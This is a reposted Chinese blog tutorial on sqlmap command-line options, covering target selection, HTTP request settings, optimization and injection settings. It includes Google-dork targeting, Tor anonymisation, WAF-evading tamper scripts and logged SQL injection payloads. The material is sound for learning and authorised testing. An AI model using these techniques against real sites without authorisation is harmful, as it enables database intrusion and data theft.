Sqlmap命令行(其一)

人对于周围的失去看得是多么不清楚,常常必得从远方来一个人告诉我们周围的真面目。所以人必须把万物从自己身边推开,以便后来善于取用较为正确而平静的方式,以稀少的亲切和敬畏的距离来同他们接近。 ——里克尔《给青年诗人的信》

0x00 前言

本文转载自werner-wiki的博客,便于参考学习(侵权删)原文地址:https://blog.csdn.net/wn314/article/details/78872828。

0x01 Sqlmap是什么

Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
支持自动识别密码哈希格式并通过字典破解密码哈希。
支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
支持在数据库管理系统中搜索指定的数据库名、表名或列名
当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。

0x02 Sqlmap安装

Sqlmap的开源项目,托管在github,最简单的安装方式便是使用git,执行如下命令:

1
git clone https://github.com/sqlmapproject/sqlmap.git

片刻后命令执行完毕,可以看到当前目录中多了一个名为“sqlmap”的目录,
该目录中保存着Sqlmap的Python源码、配置文件和文档。
由于Python是解释执行的语言,不用编译,所以至此最新版的Sqlmap已经安装完成。
cd到“sqlmap”目录中,用命令“python sqlmap”启动Sqlmap,如下图所示:

Sqlmap安装完成,当想要更新Sqlmap时,进入到“sqlmap”目录中执行命令“git pull”即可。

0x03 输出级别(Output verbosity)

参数:-v
Sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:

0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
1:同时显示普通信息[INFO]和警告信息[WARNING];
2:同时显示调试信息[DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体。

各个级别输出的信息详细到什么程度,还需要自己尝试下,亲眼见到,才会有明确的认识。

0x04 指定目标

Sqlmap运行时必须指定至少一个目标,支持一次指定多个目标。有以下几种指定目标的方式:

1.直接连接数据库
参数:-d
使用参数“-d”直接连接数据库,该参数后跟一个表示数据库的字符串,该字符串有以下两种格式:
(1).当数据库管理系统是MySQL、Oracle、Microsoft SQL Server或PostgreSQL等时格式为:

1
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

(2).当数据库管理系统是SQLite、Microsoft Access或Firebird等时格式为:

1
DBMS://DATABASE_FILEPATH

我用如下命令连接装在本机上的Mysql:

1
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"

却出现了错误,错误为:

1
[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed

意思是我没有安装Python连接Mysql用的第三方库python-pymysql。虽然我安装了python-mysqldb可以使Python连接Mysql,但显然Sqlmap使用的是python-pymysql而不是python-mysqldb。使用如下命令安装python-pymysql:

1
2
3
git clone https://github.com/petehunt/PyMySQL/
cd PyMySQL/
sudo python setup.py install

安装好python-pymysql后再执行命令:

1
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"

这次没有报错,成功的连接到了数据库。只是除了检测数据库确实是Mysql版本号大于等于5.0.0之外便什么都没有做。让Sqlmap做点什么需要用其他参数指定,这些参数我们稍晚些再学习。

2.指定目标URL
参数:-u 或 –url
使用参数“-u”或“–url”指定一个URL作为目标,该参数后跟一个表示URL的字符串,可以是http协议也可以是https协议,还可以指定端口,如:

1
python sqlmap.py -u "http://192.168.56.102:8080/user.php?id=0"

3.从Burp或WebScarab的代理日志中解析目标
参数:-l
使用参数“-l”指定一个Burp或WebScarab的代理日志文件,Sqlmap将从日志文件中解析出可能的攻击目标,并逐个尝试进行注入。该参数后跟一个表示日志文件的路径。
WebScarab我没有用过,Burp倒是常常会用。Burp默认不记录日志,想要记录日志需要手动开启,设置方法如下图所示:
![设置Burp日志]
只用勾选代理中的请求数据就足够了,日志文件路径可随意设置,这里我设置日志文件名为proxy.log,放在用户主目录中。
设置浏览器的代理为Burp,随便浏览几个网页后发现proxy.log竟然已经有70多K大,查看其内容,部分输出如下:

werner@Yasser:~$ more proxy.log
======================================================
7:22:52 PM  http://ocsp.digicert.com:80  [117.18.237.29]
======================================================
POST / HTTP/1.1
Host: ocsp.digicert.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Length: 83
Content-Type: application/ocsp-request
DNT: 1
Connection: close

0Q0O0M0K0I0   +
�ǝ��Pr�Tz�
======================================================


======================================================
7:23:00 PM  http://blog.csdn.net:80  [47.95.49.160]
======================================================
GET /pyufftj/article/details/21469201 HTTP/1.1
Host: blog.csdn.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
...

可以看到该日志文件不仅记录了GET参数,还记录了cookie和POST参数。现在使用如下命令让Sqlmap解析该日志文件,自动寻找目标,检测注入漏洞:

1
python sqlmap.py -l ../proxy.log

注意日志文件的路径要写正确。执行该命令时,每找到一个可能的攻击目标,Sqlmap都会询问是否要检测该目标。,默认回答为“Y”,想要测试该目标,直接按回车键就行。
当日志较大时会有很多可能目标,虽然有询问机制但依旧麻烦,因为不能一路按回车而要进行判断。若是可以对日志进行过滤就好了!确实是可以的,参数为“–scope”,详情见“五.18”。

4.从站点地图文件中解析目标
参数:-x
为便于搜索引擎收录,许多网站专门为搜索引擎生成了xml格式的站点地图,如百度Sitemap支持xml格式。Sqlmap可以直接解析xml格式的站点地图,从中提取攻击目标,对一个网站全方位无死角地进行注入检测,此时使用的参数是“-x”,如:

1
python sqlmap.py -x http://www.6eat.com/sitemap.xml

但执行该命令的结果却是:

1
[WARNING] no usable links found (with GET parameters)

没有找到有GET参数的可用链接。就我有限的经验而言,站点地图中的URL很少包含GET参数,POST参数就更不用说了。所以Sqlmap的这一功能似乎有些鸡肋。

5.从文本文件中解析目标
参数:-m
参数“-u”一次只能指定一个URL,若有多个URL需要测试就显得很不方便,我们可用将多个URL以一行一个的格式保存在文本文件中,然后使用参数“-m”,后跟该文本文件路径,让Sqlmap依次读取文件中的URL作为攻击目标。

如我们有文件url.txt,内容为:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

然后可用使用如下命令让Sqlmap测试这些URL是否存在注入漏洞:

1
python sqlmap.py -m url.txt

同样,执行该命令时,Sqlmap会很贴心地一个个询问:“do you want to test this URL?”

6.从文件载入HTTP请求
参数:-r
可以将一个HTTP请求保存在文件中,然后使用参数“-r”加载该文件,Sqlmap会解析该文件,从该文件分析目标并进行测试。
设有如下所示的HTTP请求保存在文件get.txt中:

1
2
3
4
5
6
7
8
9
GET /user.php?id=1 HTTP/1.1
Host: 192.168.56.101:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

则使用如下命令让Sqlmap解析该文件,以该文件中HTTP请求目标为攻击目标进行测试:

1
python sqlmap.py -r get.txt

7.将Google搜索结果作为攻击目标
参数:-g
Sqlmap能自动获取Google搜索的前一百个结果,对其中有GET参数的URL进行注入测试。当然,所处的网络环境要能访问Google才行。下面是Sqlmap手册中“-g”参数的例子:

1
python sqlmap.py -g "inurl:\".php?id=1\""

8.从配置文件中载入攻击目标
参数:-c
使用参数“-c”指定一个配置文件(如:sqlmap.conf),Sqlmap会解析该配置文件,按照该配置文件的配置执行动作。配置文件中可以指定攻击目标,实际上除了攻击目标外,配置文件还可以指定各种参数的值。

Sqlmap的按照目录中有一个名为sqlmap.conf的文件,该文件是配置文件的模板,看看该文件内容,就能明白配置文件是什么意思了。

0x05 请求

HTTP是一个复杂的协议。HTTP请求有很多种方法(method),可以在不同位置(GET、POST、cookie和User-Agent等)携带不同参数。往往只有在特定位置携带了特定参数以特定方法发起的请求才是合法有效的请求。Sqlmap运行时除了需要指定目标,有时还需要指定HTTP请求的一些细节。下面这些参数都用于指定HTTP请求细节。

1.HTTP方法
参数:–method
一般来说,Sqlmap能自动判断出是使用GET方法还是POST方法,但在某些情况下需要的可能是PUT等很少见的方法,此时就需要用参数“–method”来指定方法。如:“–method=PUT”。

2.POST数据
参数:–data
该参数指定的数据会被作为POST数据提交,Sqlmap也会检测该参数指定数据是否存在注入漏洞。如:

1
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner"

3.指定分隔符
参数:–param-del
上一个例子中“–data”的数据“id=0&name=werner”其实由两个部分组成:“id=0”和“name=werner”,默认地以“&”作为分隔符。我们可以使用“–param-del”来指定分隔符,如:

1
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"

4.cookie
参数:–cookie、–cookie-del、–drop-set-cookie和–load-cookies
有两种情况会用到这些参数:

要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
想要检测是否存在cookie注入

当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞,关于“–level”的更多信息见下文。

(1).“–cookie”和“–cookie-del”
在浏览器中登录目标网站后复制出维持登录状态的cookie,用参数“–cookie”来指定这些cookie,如:

1
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"

与POST参数不同,cookie默认的分隔符为“;”,想要指定cookie中的分隔符,使用参数“–cookie-del”。

(2).“–drop-set-cookie”
若HTTP响应头中有“Set-Cookie”,Sqlmap会自动设置“Set-Cookie”设置的cookie,并对这些cookie进行检测。若不想让Sqlmap这么做,添加参数“–drop-set-cookie”即可,这样,Sqlmap会忽略“Set-Cookie”。

(3).“–load-cookies”
该参数用于从文件中载入Netscape或wget格式的cookie。

1
2
3
4
5
6
7
8
9
10
wget可以保存和载入cookie,示例如下:

# Log in to the server. This can be done only once.
wget --save-cookies cookies.txt \
--post-data 'user=foo&password=bar' \
http://server.com/auth.php

# Now grab the page or pages we care about.
wget --load-cookies cookies.txt \
-p http://server.com/interesting/article.php

5.User-Agent
参数:–user-agent和–random-agent
默认情况下Sqlmap发送的HTTP请求中的User-Agent值为:

1
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

使用参数“–user-agent”可以指定一个User-Agent值。但正常的User-Agent值长什么样我们可能并不记得,所以有了参数“–random-agent”,使用该参数,Sqlmap会从文件./txt/user-agents.txt中随机地取一个User-Agent。注意,在一次会话中只有使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent。

用如下命令统计user-agents.txt行数:

1
cat sqlmap/txt/user-agents.txt | wc -l

结果为4211,当然其中还包含空行、注释等,但总的来说该文件中存储的User-Agent也有4千多个。

当“–level”设置为3或更高时,Sqlmap会检测User-Agent是否存在注入漏洞,关于“–level”的更多信息见下文。

6.Host
参数:–host
使用该参数可以手动指定HTTP头中的Host值。

当“–level”设置为5或更高时,Sqlmap会检测Host是否存在注入漏洞,关于“–level”的更多信息见下文。

7.Referer
参数:–referer
使用该参数可以指定HTTP头中的Referer值。Sqlmap发送的HTTP请求头部默认无Referer字段。

当“–level”设置为3或更高时,Sqlmap会检测Referer是否存在注入漏洞,关于“–level”的更多信息见下文。

8.额外的HTTP头
参数:–headers
使用该参数可以在Sqlmap发送的HTTP请求报文头部添加字段,若添加多个字段,用“\n”分隔。如命令:

1
python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"

发送的HTTP请求包为:

1
2
3
4
5
6
7
8
GET / HTTP/1.1
X-B: B
Host: 192.168.56.101:8080
Accept-encoding: gzip,deflate
X-A: A
Accept: */*
User-agent: sqlmap/1.1.10#stable (http://sqlmap.org)
Connection: close

加参数“-v 5”是为了让Sqlamp输出发送的HTTP请求包,便于我们观察。

9.身份认证
参数:–auth-type和–auth-cred
这些参数用于进行身份认证。“–auth-type”用于指定认证方式,支持以下三种身份认证方式:

Basic
Digest
NTLM

“–auth-cred”用于给出身份认证的凭证,格式是“username:password”。

如:

1
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

10.基于证书的身份认证
参数:–auth-file
若Web服务器要求客户端提供证书则可以使用此参数指定一个PEM格式的证书文件。我们知道SSL协议的客户端认证是可选的,实践中一般都只用服务器端提供自己的证书供客户端验证,很少要求客户端提供自己的证书。

11.忽略401
参数:–ignore-401
使用该参数忽略401错误(未认证)。

12.HTTP(S)代理
参数:–proxy、–proxy-cred、–proxy-file和–ignore-proxy
使用参数“–proxy”来设置一个HTTP(S)代理,格式是“http(s)://url:port”。若代理需要认证,使用参数“–proxy-cred”来提供认证凭证,格式是“username:password”。

使用参数“–proxy-file”指定一个存储着代理列表的文件,Sqlmap会依次使用文件中的代理,当某个代理有任何连接问题时就会被弃用而换下一个代理。

使用参数“–ignore-proxy”忽略本地代理设置。

13.Tor匿名网络
参数:–tor、–tor-type、–tor-port和–check-tor
不管出于什么原因,如果想要保持匿名状态与其使用单个的HTTP(S)代理,不如安装类似Privoxy这样的软件按照Tor的安装指导配置一个Tor客户端。设置好后使用参数“–tor”让Sqlmap自动设置使用Tor代理。

如果想要手动指定Tor的类型和端口可以使用参数“–tor-type”和“–tor-port”,如:

1
--tor-type=SOCKS5 --tor-port 9050

如果要求高度的匿名性可以使用参数“–check-tor”,加上该参数后Sqlmap会确保所有流量都走Tor代理,若Tor代理失效,Sqlmap会发出警告并退出。检测方法是访问Are you using Tor?

14.HTTP请求之间添加延迟
参数:–delay
过于频繁地发送请求可能会被网站察觉或有其他不良后果。使用参数“–delay”来指定HTTP请求之间的延迟,单位为秒,类型是浮点数,如“–delay 1.5”表示延迟1.5秒。默认是没有延迟的。

15.超时
参数:–timeout
超时时间默认为30秒,可以用参数“–timeout”指定超时时间,如“–timeout 44.5”表示设置超时时间为44.5秒。

16.超时后最大重试次数
参数:–retries
超时后Sqlmap会进行重试,最大重试次数默认为3,可以用参数“–retries”指定最大重试次数。

17.随机化参数值
参数:–randomize
使用该参数,Sqlmap会随机生成每次HTTP请求中参数的值,值的类型和长度依照于原始值。

18.用正则表达式过滤代理日志
参数:–scope
指定一个Python正则表达式对代理日志进行过滤,只测试符合正则表达式的目标,如:

1
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

19.避免错误请求过多而被屏蔽
参数:–safe-url、–safe-post、–safe-req和–safe-freq
有时服务器检测到某个客户端错误请求过多会对其进行屏蔽,而Sqlmap的测试往往会产生大量错误请求,为避免被屏蔽,可以时不时的产生几个正常请求以迷惑服务器。有以下四个参数与这一机制有关:

1
2
3
4
–safe-url: 隔一会就访问一下的安全URL
–safe-post: 访问安全URL时携带的POST数据
–safe-req: 从文件中载入安全HTTP请求
–safe-freq: 每次测试请求之后都会访问一下的安全URL

这里所谓的安全URL是指访问会返回200、没有任何报错的URL。相应地,Sqlmap也不会对安全URL进行任何注入测试。

20.关闭URL编码
参数:–skip-urlencode
Sqlmap默认会对URL进行URL编码,可以使用该参数关闭URL编码。

21.绕过CSRF保护
参数:–csrf-token和–csrf-url
现在有很多网站通过在表单中添加值为随机生成的token的隐藏字段来防止CSRF攻击,Sqlmap会自动识别出这种保护方式并绕过。但自动识别有可能失效,此时就要用到这两个参数。

“–csrf-token”用于指定包含token的隐藏字段名,若这个字段名不是常见的防止CSRF攻击的字段名Sqlmap可能不能自动识别出,需要手动指定。如Django中该字段名为“csrfmiddlewaretoken”,明显与CSRF攻击有关。

“–csrf-url”用于从任意的URL中回收token值。若最初有漏洞的目标URL中没有包含token值而又要求在其他地址提取token值时该参数就很有用。

22.强制使用SSL
参数:–force-ssl

23.在每次请求前执行特定Python代码
参数:–eval
直接看例子:

1
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

每次返送请求前,Sqlmap都会依据id值重新计算hash值并更新GET请求中的hash值。

0x06 优化

这些参数可以优化Sqlmap的性能。
1.一键优化
参数:-o
添加此参数相当于同时添加下列三个优化参数:

1
2
3
–keep-alive
–null-connection
–threads=3 (如果没有设置一个更好的值)

这些参数具体含义见后文。

2.HTTP长连接
参数:–keep-alive
该参数让Sqlmap使用HTTP长连接。该参数与“–proxy”矛盾。

3.HTTP空连接
参数:–null-connection
有一种特殊的HTTP请求类型可以直接获得HTTP响应的大小而不用获得HTTP响应体。显然这在布尔型盲注中可以节约很大的带宽。当然这一技术是需要服务器端支持的。该参数与“–text-only”矛盾。
4.HTTP并发
参数:–threads
使用该参数指定Sqlmap可以达到的最大并发数。从性能和网站承受能力两方面考虑最大并发数不要超过10。

0x07 注入

这些参数被用于指定要测试的参数、定制攻击荷载和选择篡改脚本。
1.要测试的注入点
参数:-p和–skip
默认情况下Sqlmap会测试所有GET参数和POST参数,当level大于等于2时会测试cookie参数,当level大于等于3时会测试User-Agent和Referer。实际上还可以手动指定一个以逗号分隔的、要测试的参数列表,该列表中的参数不受level限制。这就是“-p”的作用。

举个例子,若想只测试GET参数“id”和User-Agent,则可以这么写:

1
-p "id,user-agent"

如果不想测试某一参数则可以使用“–skip”。如设置了level为5但不想测试User-Agent和Referer,则可以这么写:

1
--level=5 --skip="user-agent,referer"

有时会遇到伪静态网页。动态网页会明目张胆地列出参数,如:

1
/user.php?id=1

显然参数是id,值为1。但若是伪静态网页则可能这样写:

1
/user/1/

将参数隐藏在URL中。通常情况下Sqlmap不会对这样的伪静态网页的参数做测试,因为Sqlmap无法判断哪个是参数。若想要对这样的伪静态进行测试,只需要加上“*”,告诉Sqlmap哪个是伪静态参数就行,剩下事的和GET参数没有什么区别。如:

1
python sqlmap.py -u "http(s)://target.cc/user/1*/"

2.指定数据库管理系统
参数:–dbms
dbms是“Database Management System”的缩写。默认情况下Sqlmap会自动检测网站使用的数据库管理系统,Sqlmap支持以下这些数据库管理系统:

MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
Firebird
SQLite
Sybase
SAP MaxDB
DB2

如果Sqlmap自动检测失败或是不想让Sqlmap进行数据库指纹检测,可以使用参数“–dbms”手动指定数据库管理系统,如:“–dbms postgresql”。

对于Mysql和Microsoft SQL Server和要这样指定:

1
2
--dbms MySQL <version>
--dbms Microsoft SQL Server <version>

对于MySQL来说,是类似这样的:5.0。对于Microsoft SQL Server来说,是类似这样的:2005。

如果在添加“–dbms”参数的同时还添加了“–fingerprint”,Sqlmap只会在指定的数据库管理系统内进行指纹识别。只有在很确定时使用“–dbms”,否则还是让Sqlmap自动检测更好些。

3.指定运行数据库管理系统的操作系统
参数:–os
默认情况下Sqlmap会自动检测运行数据库管理系统的操作系统,目前完全支持的操作系统有:

Linux
Windows

如果很确定可以使用参数“–os”指定运行数据库管理系统的操作系统。当然在只用很确定时才应该使用此参数,否则还是让Sqlmap自动检测更好些。

4.生成无效参数值时强制使用大数
参数:–invalid-bignum
有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-bignum”,Sqlmap就会取大数(如:id=99999999)作为无效参数。

5.生成无效参数值时强制使用逻辑操作符
参数:–invalid-logical
有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用逻辑操作符(如:id=13 AND 18=19)作为无效参数。

6.生成无效参数值时强制使用字符串
参数:–invalid-string
有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用字符串(如:id=akewmc)作为无效参数。

7.关闭payload转换
参数:–no-cast
在检索结果时Sqlmap会将所有输入转换为字符串类型,若遇到空值(NULL)则将其替换为空白字符。
这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。
但是有报告显示在老版本的Mysql中这样做会导致数据检索出现问题,因此添加了“–no-cast”来告诉Sqlmap不要这样做。

8.关闭字符串编码
参数:–no-escape
有时Sqlmap会使用用单引号括起来的字符串值作为payload,如“SELECT ‘foobar’”,默认地这些值会被编码,如上例将被编码为:
“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。这样做既可以混淆视听让人一时难以洞察payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码,如为了缩减payload长度,用户可以使用“–no-escape”来关闭字符串编码。

9.定制payload
参数:–prefix和–suffix
有时只有在payload后添加用户指定的后缀才能注入成功。另一种场景是用户已经知道查询语句怎么写的,此时可以直接指定payload的前缀和后缀来完成检测和注入。

一个有漏洞的源码示例如下:

1
query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";

对这样的例子可以让Sqlmap自动检测边界范围也可以手动指出边界范围:

1
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

最终SQL语句会变成:

1
SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1

这个句子语法是正确的,payloa也能执行。

在简单的测试环境下Sqlmap不需要被提供定制的边界范围就能够自动检测并完成注入,但在真实世界中某些应用可能会很复杂如嵌套JOIN查询,此时就需要为Sqlmap指明边界范围。

10.修改注入数据
参数:–tamper
除了用CHAR()编码字符串外Sqlmap没有对payload进行任何混淆。
该参数用于对payload进行混淆以绕过IPS或WAF。
该参数后跟一个tamper脚本的名字。
若该tamper脚本位于sqlmap的安装目录的tamper/目录中,就可以省略路径和后缀名,只写文件名。
多个tamper脚本之间用空格隔开。

在tamper/目录中有许多可用的tamper脚本。tamper脚本的作用是对payload进行混淆。
我们还可以自己写tamper脚本,这属于Sqlmap的高级用法,一个有效的tamper脚本如下所示:

# 必须要导入的库
from lib.core.enums import PRIORITY
# 定义该tamper脚本的优先级
__priority__ = PRIORITY.NORMAL
def tamper(payload):
  '''此处是tamper的说明'''
  retVal = payload
  # 此处是用于修改payload的代码
  # 返回修改后的payload
  return retVal

下面是一个示例,该示例的目标是Mysql,假定大于号、空格和开头的SELECT是被禁止的:

1
2
python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" \
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

该示例部分输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[12:55:52] [DEBUG] cleaning up configuration parameters
[12:55:52] [INFO] loading tamper script 'between'
[12:55:52] [INFO] loading tamper script 'randomcase'
[12:55:52] [INFO] loading tamper script 'space2comment'
[...]
[12:55:53] [INFO] testing for SQL injection on GET parameter 'id'
[12:55:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:55:53] [PAYLOAD] 1
[12:55:53] [PAYLOAD] 1)/**/aNd/**/8083=4737/**/aNd/**/(4754/**/BetwEen/**/4754/**/aNd/**/4754
[12:55:53] [PAYLOAD] 1)/**/anD/**/4962=4962/**/anD/**/(2361/**/BeTweEN/**/2361/**/anD/**/2361
[12:55:53] [PAYLOAD] 1/**/aNd/**/9754/**/BETwEEn/**/1206/**/aNd/**/1206
[12:55:53] [PAYLOAD] 1/**/AnD/**/4962/**/beTweEn/**/4962/**/AnD/**/4962
[12:55:53] [PAYLOAD] 1/**/aND/**/2741/**/BetWeEn/**/9323/**/aND/**/9323--/**/Ihsa
[12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
[12:55:53] [PAYLOAD] 1')/**/anD/**/1694=6061/**/anD/**/('zLwu'='zLwu
[12:55:53] [PAYLOAD] 1')/**/ANd/**/4962=4962/**/ANd/**/('Dsfw'='Dsfw
[12:55:53] [PAYLOAD] 1'/**/aND/**/6307=8901/**/aND/**/'fKLn'='fKLn
[12:55:53] [PAYLOAD] 1'/**/aNd/**/4962=4962/**/aNd/**/'YFsp'='YFsp
[12:55:53] [PAYLOAD] 1%'/**/anD/**/3549=6854/**/anD/**/'%'='
[12:55:53] [PAYLOAD] 1%'/**/aND/**/4962=4962/**/aND/**/'%'='
[...]
[12:55:54] [PAYLOAD] 1)/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq
[12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
[12:55:54] [PAYLOAD] 1)/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg
[...]

而若不加tamper脚本,上例的部分输出为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[...]
[13:00:12] [INFO] testing for SQL injection on GET parameter 'id'
[13:00:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:00:12] [PAYLOAD] 1) AND 9902=5632 AND (5820=5820
[13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174
[13:00:12] [PAYLOAD] 1 AND 7140=6136
[13:00:12] [PAYLOAD] 1 AND 6711=6711
[13:00:12] [PAYLOAD] 1 AND 1693=7532-- oqcR
[13:00:12] [PAYLOAD] 1 AND 6711=6711-- qAPJ
[13:00:12] [PAYLOAD] 1') AND 6904=7395 AND ('xBlu'='xBlu
[13:00:12] [PAYLOAD] 1') AND 6711=6711 AND ('RgoX'='RgoX
[13:00:12] [PAYLOAD] 1' AND 6469=7302 AND 'maCj'='maCj
[13:00:12] [PAYLOAD] 1' AND 6711=6711 AND 'pSYg'='pSYg
[13:00:12] [PAYLOAD] 1%' AND 7516=3605 AND '%'='
[13:00:12] [PAYLOAD] 1%' AND 6711=6711 AND '%'='
[...]
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL-- mUDh
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL-- QKId
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL,NULL-- iwvT
[...]

0x08 总结

后面命令行还有很多,多了我是有点看不下去的,所以分成三部分吧。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×